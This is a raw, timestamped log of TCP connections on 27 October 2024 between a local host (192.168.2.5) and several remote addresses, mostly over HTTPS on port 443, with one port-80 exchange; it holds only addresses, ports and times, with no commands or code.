Oct 27, 2024 17:54:27.165143967 CET	49786	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.165148020 CET	49785	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.165199995 CET	443	49786	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.165200949 CET	443	49785	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.165368080 CET	49786	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.165529966 CET	49786	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.165549040 CET	443	49786	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.166569948 CET	49787	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.166594028 CET	443	49787	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.166793108 CET	49787	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.167120934 CET	49788	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.167144060 CET	443	49788	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.169260025 CET	49788	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.170933962 CET	49787	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.170959949 CET	443	49787	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.177509069 CET	49788	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.177525043 CET	443	49788	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.203200102 CET	443	49784	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.226210117 CET	49784	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.226239920 CET	443	49784	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.228178024 CET	49784	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.228193045 CET	443	49784	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.351171017 CET	443	49784	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.351349115 CET	443	49784	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.351466894 CET	49784	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.400482893 CET	49784	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.400484085 CET	49784	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.400531054 CET	443	49784	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.400561094 CET	443	49784	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.664160013 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:27.664248943 CET	443	49790	94.245.104.56	192.168.2.5
Oct 27, 2024 17:54:27.664565086 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:27.669924974 CET	49796	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.669934034 CET	443	49796	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.670083046 CET	49796	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.721088886 CET	49796	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.721107960 CET	443	49796	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.782610893 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:27.782644987 CET	443	49790	94.245.104.56	192.168.2.5
Oct 27, 2024 17:54:27.908205032 CET	443	49787	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.911531925 CET	443	49786	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.917658091 CET	443	49785	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.924012899 CET	443	49788	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.954799891 CET	49788	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.954814911 CET	443	49788	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.955307961 CET	49788	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.955317974 CET	443	49788	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.955586910 CET	49787	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.955617905 CET	443	49787	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.956146955 CET	49787	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.956161976 CET	443	49787	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.956744909 CET	49786	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.956792116 CET	443	49786	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.957129955 CET	49786	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.957143068 CET	443	49786	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.957535028 CET	49785	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.957551003 CET	443	49785	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:27.958106041 CET	49785	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:27.958117008 CET	443	49785	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.082019091 CET	443	49787	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.082107067 CET	443	49787	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.082381964 CET	49787	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.083127022 CET	443	49788	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.083290100 CET	443	49788	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.083508968 CET	49788	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.085203886 CET	443	49786	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.085306883 CET	443	49786	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.085474014 CET	49786	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.087567091 CET	443	49785	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.087641954 CET	443	49785	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.091423988 CET	49785	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.180351019 CET	49787	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.180351019 CET	49787	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.180387974 CET	443	49787	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.180414915 CET	443	49787	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.181101084 CET	49785	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.181101084 CET	49785	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.181118011 CET	443	49785	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.181138992 CET	443	49785	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.181766987 CET	49788	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.181785107 CET	443	49788	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.181796074 CET	49788	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.181802988 CET	443	49788	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.192089081 CET	49786	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.192173958 CET	443	49786	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.192209005 CET	49786	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.192228079 CET	443	49786	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.199596882 CET	49797	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.199631929 CET	443	49797	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.199693918 CET	49797	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.203630924 CET	49798	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.203659058 CET	443	49798	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.203707933 CET	49798	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.250549078 CET	49799	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.250581026 CET	443	49799	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.250650883 CET	49799	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.262547970 CET	49797	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.262567997 CET	443	49797	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.271336079 CET	49798	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.271347046 CET	443	49798	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.463711977 CET	443	49796	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.604979992 CET	49796	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.652051926 CET	49799	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.652069092 CET	443	49799	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.669872046 CET	49796	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.669877052 CET	443	49796	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.670368910 CET	49796	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.670373917 CET	443	49796	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.690320969 CET	49800	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.690361023 CET	443	49800	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.690422058 CET	49800	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.701050997 CET	49800	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.701066971 CET	443	49800	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.795262098 CET	443	49796	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.795387030 CET	443	49796	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.795443058 CET	49796	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.860719919 CET	443	49790	94.245.104.56	192.168.2.5
Oct 27, 2024 17:54:28.872412920 CET	49796	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.872421980 CET	443	49796	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.872433901 CET	49796	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:28.872441053 CET	443	49796	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:28.962894917 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:28.997256994 CET	443	49797	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.017318964 CET	443	49798	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.037235975 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:29.037255049 CET	443	49790	94.245.104.56	192.168.2.5
Oct 27, 2024 17:54:29.038904905 CET	443	49790	94.245.104.56	192.168.2.5
Oct 27, 2024 17:54:29.038922071 CET	443	49790	94.245.104.56	192.168.2.5
Oct 27, 2024 17:54:29.038978100 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:29.057905912 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:29.058022976 CET	443	49790	94.245.104.56	192.168.2.5
Oct 27, 2024 17:54:29.062968016 CET	49797	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.090348959 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:29.090368032 CET	443	49790	94.245.104.56	192.168.2.5
Oct 27, 2024 17:54:29.104154110 CET	49798	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.166400909 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:29.223778963 CET	49797	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.223799944 CET	443	49797	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.224263906 CET	49797	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.224270105 CET	443	49797	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.224595070 CET	49798	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.224621058 CET	443	49798	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.224951029 CET	49798	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.224958897 CET	443	49798	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.326296091 CET	443	49790	94.245.104.56	192.168.2.5
Oct 27, 2024 17:54:29.349325895 CET	443	49797	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.349495888 CET	443	49797	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.349561930 CET	49797	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.358275890 CET	443	49798	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.358400106 CET	443	49798	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.358474970 CET	49798	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.372493029 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:29.380958080 CET	443	49799	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.394104004 CET	49797	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.394115925 CET	443	49797	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.394345045 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:29.394433975 CET	443	49790	94.245.104.56	192.168.2.5
Oct 27, 2024 17:54:29.394493103 CET	49790	443	192.168.2.5	94.245.104.56
Oct 27, 2024 17:54:29.395435095 CET	49798	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.395435095 CET	49798	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.395452023 CET	443	49798	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.395463943 CET	443	49798	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.403755903 CET	49799	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.403779984 CET	443	49799	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.404357910 CET	49799	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.404365063 CET	443	49799	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.408991098 CET	49805	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.409034014 CET	443	49805	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.409102917 CET	49805	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.410245895 CET	49805	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.410264015 CET	443	49805	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.411381006 CET	49806	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.411423922 CET	443	49806	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.411501884 CET	49806	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.411623001 CET	49806	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.411643028 CET	443	49806	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.416708946 CET	49807	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.416721106 CET	443	49807	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.416791916 CET	49807	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.430221081 CET	49807	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.430233955 CET	443	49807	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.448590040 CET	443	49800	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.450270891 CET	49800	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.450288057 CET	443	49800	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.450934887 CET	49800	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.450939894 CET	443	49800	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.541856050 CET	443	49799	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.542010069 CET	443	49799	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.542119980 CET	49799	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.565094948 CET	49799	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.565112114 CET	443	49799	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.565126896 CET	49799	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.565133095 CET	443	49799	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.581139088 CET	443	49800	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.581198931 CET	443	49800	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.581254959 CET	49800	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.582103968 CET	49808	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.582134008 CET	443	49808	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.582218885 CET	49808	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.582379103 CET	49800	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.582400084 CET	443	49800	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.582413912 CET	49800	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.582420111 CET	443	49800	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.583429098 CET	49808	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.583440065 CET	443	49808	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.598413944 CET	49809	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.598479986 CET	443	49809	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:29.598613977 CET	49809	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.600261927 CET	49809	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:29.600277901 CET	443	49809	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.044516087 CET	80	49758	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:30.044637918 CET	49758	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:30.315521955 CET	443	49807	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.316127062 CET	49807	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.316179037 CET	443	49807	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.316768885 CET	49807	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.316782951 CET	443	49807	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.317039967 CET	443	49806	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.317297935 CET	443	49805	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.317476988 CET	49806	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.317500114 CET	443	49806	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.317884922 CET	49806	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.317892075 CET	443	49806	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.319353104 CET	49805	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.319374084 CET	443	49805	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.319766045 CET	49805	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.319777012 CET	443	49805	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.326801062 CET	49813	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:30.326860905 CET	443	49813	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:30.327145100 CET	49813	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:30.328476906 CET	49813	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:30.328502893 CET	443	49813	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:30.430694103 CET	443	49809	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.436789036 CET	443	49808	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.444307089 CET	443	49805	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.444499969 CET	443	49805	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.444559097 CET	49805	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.445735931 CET	443	49807	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.445946932 CET	443	49807	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.446006060 CET	49807	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.448833942 CET	443	49806	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.449018955 CET	443	49806	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.449106932 CET	49806	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.457434893 CET	49809	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.457453012 CET	443	49809	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.457938910 CET	49809	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.457943916 CET	443	49809	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.458203077 CET	49806	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.458228111 CET	443	49806	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.458231926 CET	49807	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.458233118 CET	49807	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.458276987 CET	443	49807	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.458302021 CET	49806	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.458303928 CET	443	49807	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.458312035 CET	443	49806	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.466034889 CET	49808	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.466056108 CET	443	49808	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.466495037 CET	49808	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.466500998 CET	443	49808	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.466607094 CET	49805	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.466624975 CET	443	49805	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.466675043 CET	49805	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.466706038 CET	443	49805	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.513528109 CET	49814	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.513577938 CET	443	49814	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.513662100 CET	49814	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.514410019 CET	49814	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.514441967 CET	443	49814	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.515743017 CET	49815	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.515785933 CET	443	49815	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.516015053 CET	49815	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.516104937 CET	49815	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.516119957 CET	443	49815	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.521576881 CET	49816	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.521620035 CET	443	49816	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.521940947 CET	49816	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.549514055 CET	49816	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.549537897 CET	443	49816	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.582804918 CET	443	49809	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.583004951 CET	443	49809	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.583062887 CET	49809	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.592888117 CET	443	49808	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.593096972 CET	443	49808	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.593197107 CET	49808	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.595391989 CET	49809	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.595407963 CET	443	49809	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.595422029 CET	49809	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.595427990 CET	443	49809	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.596477032 CET	49808	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.596477032 CET	49808	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.596489906 CET	443	49808	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.596503019 CET	443	49808	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.599956989 CET	49817	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.600007057 CET	443	49817	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.600123882 CET	49817	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.605612993 CET	49817	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.605644941 CET	443	49817	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.610502005 CET	49818	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.610534906 CET	443	49818	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:30.610630035 CET	49818	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.610774994 CET	49818	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:30.610795975 CET	443	49818	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.009166956 CET	49828	443	192.168.2.5	13.32.99.90
Oct 27, 2024 17:54:31.009207010 CET	443	49828	13.32.99.90	192.168.2.5
Oct 27, 2024 17:54:31.009319067 CET	49828	443	192.168.2.5	13.32.99.90
Oct 27, 2024 17:54:31.015290022 CET	49828	443	192.168.2.5	13.32.99.90
Oct 27, 2024 17:54:31.015341043 CET	443	49828	13.32.99.90	192.168.2.5
Oct 27, 2024 17:54:31.249403000 CET	443	49814	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.252147913 CET	49814	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.252171040 CET	443	49814	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.252589941 CET	49814	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.252595901 CET	443	49814	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.255520105 CET	443	49815	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.256164074 CET	49815	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.256186962 CET	443	49815	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.256428003 CET	49815	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.256439924 CET	443	49815	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.290301085 CET	443	49816	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.296308994 CET	49816	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.296339989 CET	443	49816	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.296869040 CET	49816	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.296875000 CET	443	49816	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.340056896 CET	443	49817	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.341204882 CET	49817	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.341293097 CET	443	49817	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.342072010 CET	49817	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.342084885 CET	443	49817	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.344961882 CET	443	49818	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.345465899 CET	49818	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.345484972 CET	443	49818	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.345889091 CET	49818	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.345895052 CET	443	49818	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.379008055 CET	443	49814	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.379117966 CET	443	49814	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.379192114 CET	49814	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.379559994 CET	49814	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.379559994 CET	49814	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:31.379592896 CET	443	49814	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.379615068 CET	443	49814	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:31.385385036 CET	49831	443	192.168.2.5	13.107.246.45
